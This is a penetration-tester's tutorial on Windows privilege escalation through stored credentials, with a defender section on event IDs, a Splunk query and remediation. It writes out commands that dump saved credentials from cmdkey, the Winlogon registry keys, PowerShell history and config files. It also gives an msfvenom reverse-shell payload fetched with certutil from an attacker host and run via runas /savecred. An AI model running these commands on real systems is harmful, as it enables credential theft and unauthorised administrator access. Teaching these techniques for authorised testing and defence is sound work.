June 15, 2026
Windows PrivEsc: Hunting Stored Credentials
Part 3 of the Windows Privilege Escalation series
Christopher Arock
3 min read
You've RDP'd into a machine as a normal low-privilege user.
No unquoted service paths. No SeImpersonatePrivilege. Nothing from the usual checklist.
Then you run one command and find a saved admin password sitting in plaintext.
This happens more than you'd think.
Why Stored Credentials Exist
Windows stores credentials in multiple places because users and admins save passwords to avoid typing them repeatedly — for RDP sessions, automation scripts, software installations, and remote connections.
As a pentester, these are gifts. Let's find them.
Place 1 — Windows Credential Manager (cmdkey)
Windows has a built-in tool called cmdkey that saves credentials for remote connections like RDP and network shares.
Check what's saved:
cmdkey /listcmdkey /listExample output:
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\AdministratorCurrently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\AdministratorSaved admin credentials — and you don't even need to know the actual password to use them.
Abuse it with runas:
runas /savecred /user:WORKGROUP\Administrator "cmd.exe"runas /savecred /user:WORKGROUP\Administrator "cmd.exe"Windows pulls the saved credential automatically and spawns a cmd shell as Administrator.
Get a reverse shell instead:
# Generate payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f exe -o shell.exe
# Transfer to target
certutil -urlcache -f http://<YOUR_IP>:8080/shell.exe C:\Windows\Temp\shell.exe
# Execute using saved credentials
runas /savecred /user:WORKGROUP\Administrator "C:\Windows\Temp\shell.exe"# Generate payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f exe -o shell.exe
# Transfer to target
certutil -urlcache -f http://<YOUR_IP>:8080/shell.exe C:\Windows\Temp\shell.exe
# Execute using saved credentials
runas /savecred /user:WORKGROUP\Administrator "C:\Windows\Temp\shell.exe"Catch it on your listener:
nc -lvnp 4444
C:\Windows\system32> whoami
workgroup\administratornc -lvnp 4444
C:\Windows\system32> whoami
workgroup\administratorPlace 2 — Registry
Admins frequently store credentials in the registry for automation scripts, software configurations, and autologon setups. These are often left behind and forgotten.
Autologon Credentials
When a machine is configured for automatic login, credentials are stored here in plaintext:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"Example output:
DefaultUsername REG_SZ Administrator
DefaultPassword REG_SZ Password123!
DefaultDomainName REG_SZ WORKGROUPDefaultUsername REG_SZ Administrator
DefaultPassword REG_SZ Password123!
DefaultDomainName REG_SZ WORKGROUPPlaintext admin password — straight from the registry.
Broad Registry Search
Search the entire registry for anything containing "password":
# Search HKLM
reg query HKLM /f password /t REG_SZ /s
# Search HKCU
reg query HKCU /f password /t REG_SZ /s# Search HKLM
reg query HKLM /f password /t REG_SZ /s
# Search HKCU
reg query HKCU /f password /t REG_SZ /sThis catches credentials left behind by third party software, VPN clients, backup tools, and deployment scripts.
Common registry paths worth checking manually:
reg query "HKLM\SOFTWARE\OracleVM VirtualBox"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v passwordreg query "HKLM\SOFTWARE\OracleVM VirtualBox"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v passwordVNC, PuTTY, and similar tools frequently store credentials here.
Place 3 — PowerShell History
Every command a user types in PowerShell gets saved automatically to a history file. Admins frequently type credentials directly into PowerShell commands — and completely forget this file exists.
Read the history file:
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txttype %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtOr in PowerShell:
Get-Content (Get-PSReadLineOption).HistorySavePathGet-Content (Get-PSReadLineOption).HistorySavePathExample output:
net user administrator Password123! /add
Invoke-WebRequest -Uri http://internal-server/backup -Credential (Get-Credential)
$pass = ConvertTo-SecureString "AdminPass456!" -AsPlainText -Forcenet user administrator Password123! /add
Invoke-WebRequest -Uri http://internal-server/backup -Credential (Get-Credential)
$pass = ConvertTo-SecureString "AdminPass456!" -AsPlainText -ForcePlaintext passwords typed by an admin weeks ago — still sitting there.
Automating Everything with PowerUp
Instead of checking each location manually, PowerUp finds stored credentials automatically:
Transfer and run:
# On attack machine
python3 -m http.server 8080
# On target
certutil -urlcache -f http://<YOUR_IP>:8080/PowerUp.ps1 C:\Windows\Temp\PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks# On attack machine
python3 -m http.server 8080
# On target
certutil -urlcache -f http://<YOUR_IP>:8080/PowerUp.ps1 C:\Windows\Temp\PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecksPowerUp checks all of these automatically:
[*] Checking for saved credentials...
[*] Checking for Autologon credentials in registry...
[*] Checking for unattended install files...
[*] Checking %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt[*] Checking for saved credentials...
[*] Checking for Autologon credentials in registry...
[*] Checking for unattended install files...
[*] Checking %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtBonus — Other Places Worth Checking
While you're hunting credentials, these are frequently overlooked:
Unattended installation files — left behind after Windows deployments:
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\Unattended.xml
type C:\Windows\system32\sysprep\sysprep.xmltype C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\Unattended.xml
type C:\Windows\system32\sysprep\sysprep.xmlIIS web config — database connection strings often contain credentials:
type C:\inetpub\wwwroot\web.config | findstr /i "password"type C:\inetpub\wwwroot\web.config | findstr /i "password"FileZilla FTP credentials:
type "%APPDATA%\FileZilla\recentservers.xml"type "%APPDATA%\FileZilla\recentservers.xml"Blue Team Perspective — How Defenders Catch This
Windows Event IDs to watch:
Event ID What it means
─────────────────────────────────────────────────────────────────
4648 Logon with explicit credentials — runas /savecred usage
4624 Successful logon — unexpected admin logon from low priv user
4688 New process created — cmd/powershell spawned by runas
4657 Registry value modified — credentials written to registry
─────────────────────────────────────────────────────────────────Event ID What it means
─────────────────────────────────────────────────────────────────
4648 Logon with explicit credentials — runas /savecred usage
4624 Successful logon — unexpected admin logon from low priv user
4688 New process created — cmd/powershell spawned by runas
4657 Registry value modified — credentials written to registry
─────────────────────────────────────────────────────────────────Suspicious patterns a SOC analyst would flag:
- Standard user account spawning processes as Administrator via
runas reg querycommands with/f passwordfrom a non-admin session- PowerShell reading
ConsoleHost_history.txt— a known credential hunting technique certutil.exedownloading files from external IPs
SIEM query example (Splunk):
index=windows EventCode=4688
CommandLine="*reg query*password*"
| table _time, ComputerName, User, CommandLineindex=windows EventCode=4688
CommandLine="*reg query*password*"
| table _time, ComputerName, User, CommandLineThis catches registry credential searches directly — one of the first things attackers run after landing a shell.
Remediation
For defenders and your pentest reports:
- Clear saved credentials regularly — audit with
cmdkey /listand remove stale entries withcmdkey /delete - Disable autologon — never store plaintext credentials in Winlogon registry keys
- Clear PowerShell history — set history size to 0 on sensitive systems or clear it after administrative tasks
- Restrict registry permissions — standard users should not have read access to sensitive registry paths
- Use Windows Credential Guard — protects stored credentials from being read by low-privilege processes
- Audit third party software — VNC, FTP clients, and backup tools are frequent offenders
Quick audit for sysadmins:
# Check for autologon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "password"
# List all saved credentials
cmdkey /list# Check for autologon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "password"
# List all saved credentials
cmdkey /listIf either returns credentials — remediate immediately.
Key Takeaways
- Stored credentials are one of the most common real-world PrivEsc paths — not just CTFs
cmdkey /list+runas /savecredis a one-two punch that requires zero password knowledge- Registry autologon credentials are plaintext — always check Winlogon
- PowerShell history is a goldmine admins forget exists
- PowerUp automates all of this — use it for efficiency
- The fix is simple — stop storing credentials. Use proper secrets management.
Part 1: From Service Account to SYSTEM: Abusing SeImpersonatePrivilege
Part 2: Unquoted Service Paths
Written by Christopher Arock — Penetration Tester | linkedin.com/in/christopher-arock | github.com/arock404